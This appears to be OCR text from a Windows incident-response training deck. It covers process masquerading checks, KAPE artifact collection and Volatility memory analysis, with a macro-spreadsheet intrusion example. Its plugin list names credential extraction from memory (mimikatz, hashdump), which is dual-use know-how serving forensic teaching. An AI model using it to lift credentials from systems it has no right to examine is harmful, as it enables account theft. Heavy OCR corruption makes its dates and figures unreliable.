T = m | = u = o[ = o[ -
» 1 1 8 No 2819-12-87 99:88:52 C:\Windows\system32\DsmUserTask.Exe

2 1 1 Yes 2824-83-19 91:45:08 C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

3 1 2 Yes 2824-83-20 16:42:39 C:\Program Files (x86)\Common Files\Adobe\ARM\Execute\26981\AcroServicesUpdater2 x64.exe

4 1 3 Yes 2824-01-31 14:58:18 C:\Program Files (x86)\Common Files\Adobe\ARM\1.8\AdobeARMHelper.exe

5 1 4 Yes 2821-82-82 00:49:22 C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrusthotifier.exe

[ 1 5 Yes 2824-83-19 91:45:88 C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

7 1 6 Yes 2824-83-19 91:45:08 C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

:] 1 7 Yes 2824-03-19 91:44:56 C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat sl.exe

9 1 8 No 2824-81-31 14:58:18 C:\Program Files (x86)\Common Files\Adobe\ARM\1.8\AdobeARM.exe

18 1 9 Yes 2824-83-19 91:44:54 C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef 1\AcroCEF.exe

11 1 18 No 2824-04-01 99:13:49 C:\Windows\system32\explorer.exe

12 1 11 Ne 2824-84-81 00:13:49 C:\Windows\SysWOWe4d\explorer.exe

13 1 12 Yes 2824-83-19 91:44:54 C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

14 1 13 Yes 2824-01-31 14:58:18 C:\Program Files (x86)\Common Files\Adobe\ARM\1.@\armsvc.exe

15 1 14 No 2024-04-01 00:35:58 C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.22.18861.8 x64 8wekyb3d8bbwe\WindowsPackageManagerServer.

16 1 15 No 2824-83-19 91:44:56 C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

17 1 16 Yes 2824-83-19 82:17:21 C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1833-7760-BC15014EA700 ]} \setup.exe

18 1 17 Yes 2824-84-81 16:51:54 C:\Users\Peter Morin\AppData\lLocal\Adobe\FDBEA3AB-6A57-4068-B777-F60BSB866AT7A4\5D9BB611-7429-4623-947C-18664F84DCBC\803A

19 1 18 Yes 2824-84-081 16:46:36 C:\Users\Peter Morin\Downloads\Reader_en_install.exe

20 1 19 No 2024-83-18 15:46:39 C:\Users\PETERM~1\AppDatallLocal\Temp\A2EQ59EE-5AAB-4413-96C1-44CE6748B2E5 \dismhost . exe

21 1 20 Yes 2824-83-10 15:46:39 C:\Users\Peter Morin\AppData\lLocal\Temp\A2E@59EE-5AAB-4413-96C1-44CE6740B2E5\DismHost . exe

22 1 21 No 2824-83-10 15:38:43 C:\Windows\system32\dstokenclean.exe

23 1 22 No 2824-83-10 15:34:26 C:\Windows\system32\disksnapshot.exe

24 1 23 No 2824-83-28 18:24:48 C:\Windows\System32\WinBioPlugIns\FaceFodUninstaller.exe
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Investigating common Windows Processes

 Windows processes do not deviate from their MITRE | ATT&CK’ —
documented running State —_— you Wi” never See Thank you to Tidal Cyber and SOC Prime for becoming ATT&CK's first Benefactors. To jo

. . I TECHNIQUES Home > Techniques > Enterprise > Masquerading
SVCHOST.exe running from c:\temp! E— “- Masquerading

Invalid Code Signature

— What is the expected parent process? Rightto-Left Overide Subdechniques (9

Rename System Utilities Adversaries may attempt to manipulate features of their artifacts to make them a

— I S it r u n n i n g O n t h e ex p e Cte d p at h ? Masquerade Task or Service security tools. Masqguerading occurs when the name or location of an object, legit

Match Legitimate Name or abused for the sake of evading defenses and observation. This may include mani|

M : misidentifying the file type, and giving legitimate task or service names.
— Is it spelled correctly? Locatn

Space after Filename Renaming abusable system utilities to evade security monitoring is also a form of

include the use of Proxy or VPNs to disguise IP addresses, which can allow adver

- I S it r U n n i n g U n d e r t h e CO r re Ct S I D ? Pouble Fle Bxtension traffic and bypass conditional access policies or anti-abuse protections.

Masquerade File Type

Break Process Trees

— Is it signed by an authorized source?

Modify Authentication v
. . . Process
— Is it running from a temp or strange location? Modity Cloud Compute
Infrastructure

— Does it have a digital signature? Modiy Regitry
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Investigating common Windows Processes

[zl Task Manager

o Syste m . exe File Options View

Processes Performance App history Startup Users Details  Services

o S IVI SS exe Mame - PID Status User name CPU  Memery (a.. Thread
o ESnagitCapture.exe 11212 Running Peter Morin 00 107116 K 54

ESnagitEditor.exe 3856 Running Peter Morin m 258,904 K [
[55] SnagPriv.exe 10700 Running Peter Marin 0o 284K 3
® C R S S N exe _‘I_é SnippingTool.exe 4292 Running Peter Morin 00 1,000 K £
= spoolsv.exe g2 Running SYSTEM 00 38K 1
. . [#5]StartMenuExperienc... 13836 Running Peter Morin 0o 10,168 K 1
[ ) WI n I O I n exe [85] swchost.exe 923 Running SYSTEM ] 11,580 K 1
g [] [5] svchost.exe + 1044 Running METWORK... 00 10,760 K 14
[55] svchost.exe 1118 Running SYSTEM 00 1,640 K 1
° ° [ svchost.exe 1328 Running LOCAL SE... 00 428 K :
o W I n I t exe [ svchost.exe 1340 Running LOCALSE.. 0D 952K :
° [85] svchost.exe 1364 Running LOCAL SE... ] 1316 K £
[ svchost.exe 1488 Running LOCAL SE... 00 1176 K 1
® h [85] svchost.exe 1496 Running SYSTEM 00 992 K f
SVC O St ° eXe [85] svchost.exe 1336 Running LOCAL SE... ] 240K :
[®E]svchost.exe 1544 Running LOCAL SE... o0 7832 K ]
[85] svchost.exe 1728 Running LOCAL 5E... 00 5,006 K 3
[ ] EX I O re r exe [#]svchost.exe 1752 Running SYSTEM 00 436K 12
p . [85] svehost.exe 1730 Running SYSTEM 0o 364K 1
[ svchost.exe 1800 Running LOCAL SE... 00 396 K F:
° [5] svchost.exe 1524 Running LOCAL SE... 00 1,204 K [

® S e rv I C e S ° eXe [85] svchost.exe 2000 Running LOCAL SE... ] MK
[ svchost.exe 1200 Running SYSTEM 00 900 K :
[85] swchost.exe ¢ 1036 Running SYSTEM 00 360 K 3
[ ) LSASS exe [85] svchost.exe 2124 Running SYSTEM ] 4736 K 1
[] [ svchost.exe 2248 Running METWOREK... 00 3,548 K t
[l svrchost.exe 2404 Runninn SYSTEM nn 4724 K i
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Investigating common Windows Processes | LSASS.exe

Local Security Authority Subsystem — Responsible for user authentication and generating access tokens specifying
security policies and/or restrictions for the user and the processes spawned in the user session.

Normal Behavior Abnormal Behavior

Image file path other than C:\Windows\System32 (e.g.,
C:\Windows\system or C:\Program Files)

Image Path: %SystemRoot%\System32\Isass.exe

Parent Process: wininit.exe A parent process other than wininit.exe
Number of Instances: One Multiple running instances
User Account: Local System Not running as SYSTEM

Start Time: Within seconds of boot time

Subtle misspellings to hide rogue processes in plain
sight
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2 Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-DISD4VLPeter Morinl (Ad

[W | carss.exe
= (R winlogon exe

Cancel

File Options View Process Find Users Help W Isass.exe:800 Properties - O X
) BleX|,® [, ||
H | c | il s X | s @ GPU Graph SErvices Threads TCR/TP Security Environment  Strings
Process Image Performance Performance Graph Disk and Metwork
dfmun.e:e
[#=]svchost exe Image File Image File
[#=]svchost exe Local Security Authority Process Lacal Security Authority Process
E]Striost.e:e I (Verified) Microsoft Windows Publisher I
svchost exe )
%mﬁm e Version:  10.0.19041.3535 Version:  10.0.13041.3635
L Time: Fri Sen 11 77:43:51 7009 S::I:I'ﬁme: Fri Sep 11 22:49:51 2005
[#z|svchost exe Path: | —
C:\Windows\System32Ysass.exe | Explore
[5=] svchost.exe | C:\Windows\System 32 sass. exe | Explore .
|m | SecurtyHealthService exe Command fine:
@ HP Audio Analytics exe Command line: | C:\Windows\system32Vsass.exe |
[mz]svchost.exe | C\Windows\system32Ysass,.exe | Current directory:
|m { swchost.exe Current directory: | C:\Windows\System32} |
svchost exe Autostart Location:
(&= HPS Solutionsh e Senvi | C:\Windows\System 324, | Hostart Toeanen
[ upport Solutions Framework service exe | HKLM\System\CurrentControlSet\Services WaultSve | Explore
[#=]svchost.exe Autostart Location:
[ { SgmBroker.exe | HKLM\System\CurrentControlSet\Services \Waultsve | Explore Parent:  wininit.exe(720) JE— Verify
[mz] swchost.exe User: NT AUTHORITY\SYSTEM
[m | svchost.exe Parent:  wininit.exe{720) : Started:  5:15:42PM 4/1/2024  Image: 64-bit Bring to Front
[z] swchost.exe Verify
[ svchost exe User: MT AUTHORITY\SYSTEM
= ) . Bring to Front
=] g~ Searchindexer.exe Started: 51142 PM 412024 Image: 64-hit g
&Seard’lF‘mtocalHast.exe | kill Process
Comment: | | |
[]amsvc.exe
[a]svchost exe VirusTotal: | | Submit
[#z] swchost.exe
[#Z]svchost exe Data Execution Prevention (DEF) Status:  Enabled (permanent)
[#=]svchost.exe Address Space Load Randomization: High-Entropy, Bottom-Up
o Control Flow Guard: Enabled
Enterprise Context: A
Stack Protection: Dizabled
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Key Windows Artifacts — KAPE

* Kroll Artifact Parser and Extractor - Eric Zimmerman

* Automates much of what we just saw

* Can be used to gather the data, but also process it.

* Not an analysis tool — used to supplement collection and triage
e Command line (kape.exe) and GUI (gkape.exe) versions

* Efficiency and speed?
— 500GB HD with 62 volume shadow copies
— Using KAPE, VHDX 55.2GB or 5.7GB .zip file
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<+
File Tools

| Use Target options
Target options

Target source |C:\

Target destination |C: \temp'kape

=[] (A Fush [add%d [ ]Add %m

Targets (Double-dlick to edit a target)

Selectad Name Folder
? L] 13 Aflc
» | IBasicCollection Compound
ISANS_Triage Compound
SBoot Windows
| Windows
SLogFile Windows
SMFT Windows
SMFTMirr Windows
5505 Windows
5T Windows
1Password Apps
4KVideoDownloader Apps
AceText Apps
AcronisTruelmage Apps
Amcache Windows
Ammyy Anns
Process VSCs +*| Deduplicate Container ®) None
SHA-1 exdusions Base name

Target variables Tra

Target variables

Current command line

Value

Description

oHe -
Basic Collection

SANS Triage Collection
SBoot

87

SLogFile

SMFT

SMFTMirr

$5DS

§T

1Password Password Man...
4K Video Downloader
AceText

Acronis True Image
Amcache.hve

Ammvy Data

VHDX VHD Zip

+| Use Module options
Module options

Module source

Module destination ‘ C:\tempkapelanalyzed

Select...
® u

Export format

= | |...| [+*] Flush Add %ed Add Yem Zip

Name Folder

o e
NToalSync Compound
|EZParser Compound
AmcacheParser EZTocls

AppCompatCacheParser | EZTools
BitsParser GitHub
BMC-Tools_RDPBitmapC... | GitHub

bstrings Compound
bstrings_A=sonWallet bstrings
bstrings_BitCoinWallet bstrings
bstrings_Bitlocker bstrings
bstrings_ByteCoinWallet | bstrings
bstrings_CreditCards bstrinns=

bstrings_CryptoWallets Cor|
bstrings_DashCoinWallet | bst
bstrings DashCoinWallet2 | bsty

®) Default Csv HTML

Module variables

Other options

Debug messages

Trace messages

Zip password

Category

o

Sync

Modules
ProgramExecution
ProgramExecution
GitHub

Remote Access
Modules
KeywordSearches
KeywordSearches
KeywordSearches
KeywordSearches

KewunrdSearches

. Please wait
Woarking...

JSON

Modules (Double-dlick to edit a dule)

Description
e
Sync for new Maps, Batch Files, Targets and Maodules
Eric Zimmerman Parsers
AmcacheParser: extract program execution information
AppCompatCacheParser: extract AppCompatCache (shimcache) information
Tool to parse Windows Background Intelligent Transfer Service database files
BMC-Tools: RDP Bitmap Cache parser
Run all bstrings Modules
Use bstrings to GREP for Ason Wallets
Use bstrings to GREP for BitCoin Wallets
Use bstrings to GREP for Bitlocker recovery keys
Use bstrings to GREP for ByteCoin Wallets
Lise hstrinns to GREP for Credit Card numbers
gs Crypto Wallet-related Modules
to GREP for DashCoin Wallets
to GREP for DashCoin Wallets

Ignore FTK warning

Retain local copies

J\kape.exe --tsource C: --tdest C:\temp\kape --tflush --target |BasicCollection --mdest C:\temp\kape\analyzed --mflush --module IEZParser --gui
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» ThisPC » Local Disk (C:) » temp » kape » C » Windows » prefetch
~
MName Date modified Type Size
[ JIU14D2N. TMP-24C78BFB. pf 12/11/2021 3:34 PM PF File 11KB
mal [ ACROBAT.EXE-FO4FOB2A.pf PF File 41KB
[] ADOBE_LICENSING_WF_ACRO.EXE-D948... PF File 32KB
[ ALEXE-517C04F0.pf PF File 19 KB
[7] APPCOMPATCACHEPARSER.EXE-614924... PF File 16 KB P refe Ct
[] APPINSTALLER.EXE-FO01376A.pf /28 : PF File ITKB
[] APPLICATIONFRAMEHOST.EXE-8CEQATE..,  4/3/2024 9:05 AM PF File 19 KB F| I es
[] AUDIODG.EXE-AB22E9AG.pf 4/3/2024 4:03 PM PF File KB
[] BACKGROUNDTASKHOST.EXE-FRE2DD0N....  4/3/2024 4:35 P PF File 12KB
- [] BDEUNLOCK EXE-AGTTADFB.pf PF File 25KB
Mame Date modified Type Size
¥P - [] BOOTSTRAPPER.EXE-75E11F02.pf PF File TKB
- ) [7] CHROME.EXE-AEDTBAIC.pf PF File 203 KB
EventLogs 4/3/2024 4:54 PM File folder ) )
[] CHAXSMARTSCREEM.EXE-F9281904.pf PF File 32KB
FileDeletion 47372024 4:55 PM File folder f [ ] CMD.EXE-DBD30981.pf /2024 4:36 PM PF File KB
. - ) . 13/202410:21 A . 1K
FileFalderAccess 4/3/2024 4:56 PM File folder Q COMPATTELRUMNER.EXE-BTAGBECC.pf /3/2024 10:21 AM PF File KB
FileSystem 4/3/2024 4:53 PM File folder
ProgramExecution 4/3/2024 4:35 PM File folder et ey
File Tools Tabs View Help
Registry 4/3/2024 4:55 PM File folder 2024040313523 _REC_Bateh ol Bateh_Output v
- . Drag a column header here to group by that column
S50LDatabases 4/3/2024 4:56 PM File folder
Description Key Path Value Name Value Type
SRUMDatabase 47372024 4:56 PM File folder T o o s
P o ) CIDSizeMRU ROOT\SOFTWARE\Microsoft\Windows\Curre.. 8 RegBinary
SUMDatabasze 4/3/2024 4:56 PM File folder CIDSizeMRU ROOT\SOFTWARE\Microsoft\Windows\Curre.. 11 RegBinary
=t . i UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre..
-(d- A/372024 4:5
u 2024-04-03T19_51_34 5513071_Consolel...  4/3/2024 4:56 PM Text Document 74 KB e | DR A e e e
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. .
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. U A
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. S e r SS I St
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. HRZR_PGYPHNPbhag:pgbe RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.Trgfgnegrq_8jrxlo3gq8oojr!Ncc RegBinary Keys
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. HRZR_PGYFRFFVBA RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.JlvaqbjfSrrqonpxUhe_8jrxle3qBoojr!Ncc RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.JvagbjfZncf_8jrxlo3g8oojr!Ncc RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.Crbcyr_8jrxlo3g8oojr!k4p7n307q12188146.. RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.ZvpebfbsgFgvpxlAbgrf 8jrxlo3q8oojr!Ncc | RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. {1NP14R77-82R7-4R5Q-0744-2R0O1NR519807 }\FavccvatG.. RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.JvagbjfPnyphyngbe_8jrxlo3q8oojr!Ncc RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. {1NP14R77-82R7-4R5Q-0744-2R01NR519807 F\zfcnvag.r.. RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. jvagbjf.vzzrefvirpbagebycnary_pj5alu2gklrjl!zvpe.. RegBinary
UserAssist ROOT\SOF TWARE\Microsoft\Windows\Curre.. ZFRqtr RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.Jvagbjf.Rkcybere RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.Jvagbjf.PbagebyCnary RegBinary
UserAssist ROOT\SOF TWARE\Microsoft\Windows\Curre.. Puebzr RegBinary
UserAssist ROOT\SOFTWARE\Microsoft\Windows\Curre.. Zvpebfbsg.Jvagbjf.Frnepu_pj5alu2gklrjl!PbegnanHV |RegBinary

ROO OF TWAR as0 Windo NP14R77-A2R R R R ] aah b
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Memory | Incident Response

- Every command, every file you open, every program you
launch, every bit of data you enter traverses memory at
some point = creates forensic artifacts (e.g. network
sockets, processes & threads)

Cache
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- Different then disk or using Sysinternals which gathers data
via the Windows API

- However, not all programs touch the filesystem directly

- You cannot rely on any tools, commands, etc. on the system
- they may be compromised and display false information.

- Passwords and encryption may also pose an issue.
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What is memory-resident malware?

« AKA “fileless”™ malware

« Writes itself directly onto a computer’s
system memory.

« Leaves very few signs of infection,
making it difficult for traditional tools to
identify — including traditional disk
Imaging.

* Empire, Mimikatz designed to minimize
forensic artifact creation on a
compromised host’s disk
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Incident Response Example

* Victim receives a file on a USB drive
with an attachment called “Profit-and-
Loss-Statement.xlsm”

* The email states the file need to have
the macros enabled given it is a
dynamic spreadsheet.

* The victim opens the spreadsheet with
no issues.

* This triggers remote access to the
victim’s computer.

[ xE=| & - Profit-and-Loss-Statement.xlsm - Excel
FILE HOME ~ INSERT ~ PAGELAYOUT  FORMULAS  DATA  REVIEW  VIEW
=k =
0 5 Open Sans ® - B¢ Wrap Text General - i’-‘ Hyperlink 2 Hyperlink 3 Normal 2
& Copy -
Paste . i= 5= . . «o0 o0 Conditional Format as| Bad Good Neutral
~ ¥ Format Painter ru EE Evegeacener - § 0% 0 W3 Formatting~ Table -
Clipboard [ Font [ Alignment [ Number n Styles
a12 - e
A B C D E F G H J K L M N o
il ACME Company

Pl Profit and Loss (P&L) Statement

3

4

5 |Revenue stream 1 587.0 596.3 605.8 615.4 6252 635.1 645.2 6554 665.8 676.4 667.1 6980  7,6926
6 |Revenue stream 2 145 6 147.9 150 2 152 6 1550 1575 160.0 1625 1651 167.7 1704 1731 1,907.8
7 |Returns, Refunds, Discounts (21.0) (21.3) 21.7) (22.0) (224) (22.7) 23.1) (23.5) (23.8) (24.2) (24.6) (25.0) (275.3)
4 |Total Net Revenue 71.6 722.9 7343 746.0 757.8 769.9 7821 794.5 807.1 819.9 832.9 846.1 9,325.0
9

10 |Cost of Goods Sold 269.6 2739 2182 282.7 2871 297 296.3 301.0 3058 3107 3158 3206 3,533.2
11 Gross Profit 442.0 449.0 456.1 463.3 4707 478.2 485.7 493.5 501.3 509.2 517.3 5255 57918
iz

13 |Expenses

14 | Advertising & Promotion 18.7 181 195 19.3 202 206 21.0 215 219 223 228 232 250.6
15 |Depreciation & Amortization 108.7 1109 1131 1153 176 1199 1223 1248 1272 1298 1323 1350 14568
16 |Insurance 11 11 11 12 12 12 12 13 13 13 13 14 147
17 |Maintenance 57 58 59 6.0 6.2 63 6.4 6.5 67 6.3 6.9 71 76.4
18 |Office Supplies 238 29 29 3.0 3.0 31 32 32 33 33 34 35 375
19 |Rent 58 59 60 6.2 6.3 64 65 67 6.8 6.9 71 72 T
20 |Salaries, Benefits & Wages 251.2 256.2 2613 266.5 2718 2172 2827 288.3 294.0 299.9 3058 3119  3,366.7
21 |Telecommunication 1.5 15 16 1.6 16 1.7 1.7 17 18 1.8 18 19 201
22 |Travel 23 23 24 24 25 25 26 26 27 27 28 29 308
23 |Utilities 14 14 15 15 15 15 16 16 16 17 17 17 18.8
24 |Other Expense 1 38 39 4.0 4.0 41 42 4.3 44 44 45 46 47 50.9
25 |Other Expense 2 - - - - - - - - - - - - -
26 |Total Expenses 403.0 411.0 4192 4275 436.0 4447 4535 462.5 4717 4811 4906 500 4 54011
27 |Earnings Before Interest & Taxes 3%.0 38.0 36.9 35.8 47 335 2.2 30.9 29.6 28.2 26.7 25.2 390.6
28

29 |Interest Expense 25 25 25 25 25 25 25 25 25 25 25 25 300
30 |[Earnings Before Taxes 36.5 35.5 344 333 322 310 29.7 284 271 25.7 242 27 360.6
B1

32 |Income Taxes 109 106 103 10.0 97 93 8.9 85 8.1 77 73 6.8 1082
33 |Net Earnings 255 24.8 241 23 225 2T 20.8 19.9 19.0 18.0 16.9 15.9 252.4
B34

B5
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Tools - Acquisition

 Memory capture (typically free) Tools such as Volatility, Redline, Rekall only
analyze the memory image, you must use
@ aseparate tool to collect it first.

— FTK Imager (https://accessdata.com)

— Dumplt (http://www.moonsols.com)
— Belkasoft Live RAM Capturer (https://belkasoft.com)

— Mandiant Memoryze (https://www.fireeye.com/services/freeware/memoryze.html)
— Magnet RAM Capture (https://www.magnetforensics.com(

— Winpmem (http://sourceforge.net/projects/volatility.mirror)

* These tools require local admin access to the system

 There are tools that will allow you to do this remotely (i.e. F-Response,
Evimetry, Belkasoft)
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Tools - Acquisition (FTK Imager)

H AccessData T
File View Meode Help
0y & S wm | [ E w7 Mernory Progress
Evidence Tree ¢ | |File List
Name Si . .
Destination: | C:\Wsers\aAmy Walsh\Desktopimemdump. mem |
Memory Capture X Status: | Dumping RAM: 2GB/SGB [44%)] |
Destination path:
| p—
Destination filename:
Indude pagefile a1
| pagefile.sys |
[Jcreate AD1 file
memcapture.adil 9
F Memory to analyze (Windows):
Capture Memory Cancel
Evidence:File System |Path|F

=

® RAM - physical memory

e Hiberfil.sys - file where all of that information for
Hibernate mode is stored

e Pagefile.sys - swap file used when your system runs
out of physical memory
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Memory Analysis

|
* \olatility framework ‘V\)
« Rekall (Google’s fork of the |
Volatility tool — part of Google’s ‘\/bw

Rapid Response (GRR) project)

* FireEye Redline

M AaNnDIANT
Redline™
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Memory Profile| # vol.py -f mem.vmem imageinfo

Searches for the Kernel Debugger Block (KDBG)
— Structure of memory used by the Windows kernel for debugging processes

— Analysis of this structure will allow the imageinfo plugin to determine from which operating
system the memory originated

— If we get this wrong, we will get unexpected results or no results at all

Suggested Profile(s) [ Win1lOx64 17134, WinlOx64 14393, WinlOx64 10586, WinlOx64 16299, Win2016x64 14393,
Win10x64 15063 {Inztantlated w1th WinlOx64 15@63)
AS Layerl : SkipDuplicatesAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/cases/Mem/mem.vmem)
PAE type : No PAE
DTE : 0xlab@edL
KDBG : 0xTB00ced534fOL
Number of Processors : 2
Image Type (Service Pack) : ©
KPCR for CPU @ : OxfffffB00cded4fooaL
KPCR for CPU 1 : exffffcfeold4e00086L
KUSER_SHARED DATA : axfffff78000000000L
Image date and time : 2020-10-05 19:43:21 UTC+0000
Image local date and time : 2020-10-85 12:43:21 -0700

@PeterMorinl123




imageinfo
pslist
pstree
psscan
dlllist
cmdscan
notepad
iehistory
netscan
sockets
hivescan
hivelist
svcscan
mimikatz
malfind

Core Functionality of Volatility | Plugins

image identification

List system processes

view the process listing in tree form
List inactive or hidden processes
List DLLs

commands on cmd

notepad

IE history

active and terminated connections
TCP/UDP connections

physical addresses of registry hives
virtual addresses of registry hives
running services

get the passwords

hidden, malicious code analysis

psxview
connections
filescan
modules
driverscan
apihooks
memmap
memdump
procdump
modscan
hollowfind
netscan
hashdump
hivedump
clipboard

processes that try to hide themselves
network connections

files in physical memory ’
loaded kernel drivers

drivers in physical memory

hooked processes

shows which pages are memory resident
dump all memory resident pages :
dump the an exe process
hidden/unlinked drives

find evidence of process hollowing

“list” vs. “scan” plugins

“list” plugins attempt to
navigate through Windows
Kernel structures to retrieve
information like processes
(locate and walk the linked list
of EPROCESS structures in
memory), OS handles (locating
and listing the handle, etc.)
“scan” plugins will take an
approach similar to carving the
memory for things that might
make sense when dereferenced
as specific structures.

scan for network artifacts

extract and decrypt cached domain credentials
list all subkeys in a hive recursively

recover data from users’ clipboards
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Process List | # vol.py -f mem.vmem --profile=Win10x64_15063 pslist

offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
Oxffffa680f7651040 System B ] 115 Q reme-- 0 2020-10-05 15:17:30 UTC+0000
OxFfffa680f86c3380 smss.exe 280 4 2 0 ------ 0 2020-10-05 15:17:30 UTC+0000
oxffffa680f8b04440 csrss.exe 392 372 11 0 0 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8fodes8e smss.exe 460 280 QO ---ee--- 1 0 2020-10-05 15:17:31 UTC+0000 2020-10-05 15:17:31 UTC+0000
oxffffa680f8f12080 wininit.exe 468 372 | 0 0 0 2020-10-05 15:17:31 UTC+0000
Oxffffa680f87f11080 csrss.exe 476 460 12 0 1 0 2020-10-65 15:17:31 UTC+0000
oxffffa680f8f67480 winlogon.exe 564 460 3 0 b 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8f8e080 services.exe 608 468 5 0 0 0 2020-10-05 15:17:31 UTC+0000
Oxffffa680f8f95080 1sass.exe 616 468 8 0 0 0 2020-10-05 15:17:31 UTC+0000
Oxffffac80f8fe67cd svchost.exe 712 608 21 0 0 0 2020-10-05 15:17:31 UTC+06600
oxffffa680f8fe5640 fontdrvhost.ex 720 564 5 o] 1 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f902be8e fontdrvhost.ex 728 468 5 ] 0 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f90bb7c® svchost.exe 824 608 13 ] ] 0 2020-10-05 15:17:31 UTC+0000
Oxffffa680f9117080 dwm.exe 936 564 11 0 1 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f91427cO svchost.exe 996 608 58 ] 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f9167640 svchost.exe 292 608 46 0 5] 0 2020-10-05 15:17:32 UTC+0000
Oxffffa680f916a7¢cOd svchost.exe 324 608 18 ] 0 0 2020-10-05 15:17:32 UTC+0000
Oxffffa680f918f500 svchost.exe 480 608 24 ] ¢} 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f91a6080 svchost.exe 332 608 15 0 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f767d7c0 dasHost.exe 1180 332 12 0 0 0 2020-10-05 15:17:32 UTC+0000
Oxffffa680f76c77cd svchost.exe 1276 608 21 0 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f76cd7cO svchost.exe 1328 608 7 (<] ] 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f8e54080 svchost.exe 1416 608 4 (<] 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f8e767cO svchost.exe 1424 608 9 0 0 0 2020-10-05 15:17:32 UTC+0000
oxffffa680f8e947c® svchost.exe 1456 608 8 ] 0 0 2020-10-05 15:17:32 UTC+0000
IxFfffac80f80ca7cO InstallAgent.e 4500 712 7 0 1 0 2020-10-05 15:38:46 UTC+0000
Ixffffa680f9610080 InstallAgentUs 4764 712 7 0 1 0 2020-10-05 15:38:46 UTC+0000
Ixffffa680faded7c® TabTip.exe 3424 332 O ~--en--- 1 0 2020-10-05 16:31:20 UTC+0000 2020-10-05 16:31:33 UTC+0000
Ixffffa680faaa2080 SkypeHost.exe 2012 712 9 5} 1 0 2020-10-05 16:31:21 UTC+0000
IxFfffa680f9bc3080 SystemSettings 4024 712 24 0 1 0 2020-10-05 17:03:43 UTC+0000
Ixffffac80f7ee5380 audiodg.exe 4040 1328 7 0 ] 0 2020-10-05 19:37:17 UTC+0000
_Ixffffa680f9829080 sppsvc.exe - 7048 608 9 ] 0 0 2020-10-05 19:42:45 UTC+0000
Ixffffa680fa483080 SearchProtocol 2968 3316 8 0 ] 0 2020-10-05 19:42:55 UTC+0000
IxFfffa680fa53b400 SearchFilterHo 2532 3316 7 [} 0 0 2020-10-05 19:42:55 UTC+0000
IXFfffa680f96237cO EXCEL.EXE 7072 3040 18 (] 1 1 2020-10-05 19:42:57 UTC+0000
- Ixffffa680f9e3f340 powershell.exe p= 2028 7072 23 (o} 1 1 2020-10-05 19:42:58 UTC+0000
Ixffffa680fa536080 conhost.exe 3296 2028 11 (] 1 0 2020-10-05 19:42:58 UTC+0000
IxFFffa680f80cbo8O cmd.exe 3172 2028 2 0 1 1 2020-10-05 19:43:01 UTC+0000
IxFfffac80f8lec7cO cmd.exe 1968 2136 0 --ce-eu- 0 0 2020-10-05 19:43:21 UTC+0000 2020-10-05 19:43:21 UTC+0000
Ixffffa680f9b287c0 conhost.exe - 7100 1968 2 [¢] 0 0 2020-10-05 19:43:21 UTC+0000
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Process Tree | # vol.py -f mem.vmem --profile=Win10x64 15063 pstree

Name Pid PPid Thds Hnds Time
oxffffa680f8b04440:csrss.exe 392 372 11 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8f12080:wininit.exe 468 372 1 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f902b086: fontdrvhost.ex 728 468 5 0 2020-10-05 15:17:31 UTC+0000
. oxffffa680f8f8e080:services.exe 608 468 5 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f8ed37cO:spoolsv.exe 1548 608 12 0 2020-10-05 15:17:32 UTC+0000
. Oxffffa680f8e767cO:svchost.exe 1424 608 9 0 2020-10-05 15:17:32 UTC+0000
. Oxffffa680f8c567cO:vmtoolsd.exe 2136 608 11 0 2020-10-05 15:17:34 UTC+0000
... Oxffffa68ef8lec7cO:cmd.exe 1968 2136 L 2020-10-05 19:43:21 UTC+0000
.... OXffffa680f9b287c0:conhost.exe 7100 1968 2 0 2020-10-05 19:43:21 UTC+0000
. Oxffffa680f96497cO:NisSrv.exe 3148 608 9 0 2020-10-05 15:17:36 UTC+0000
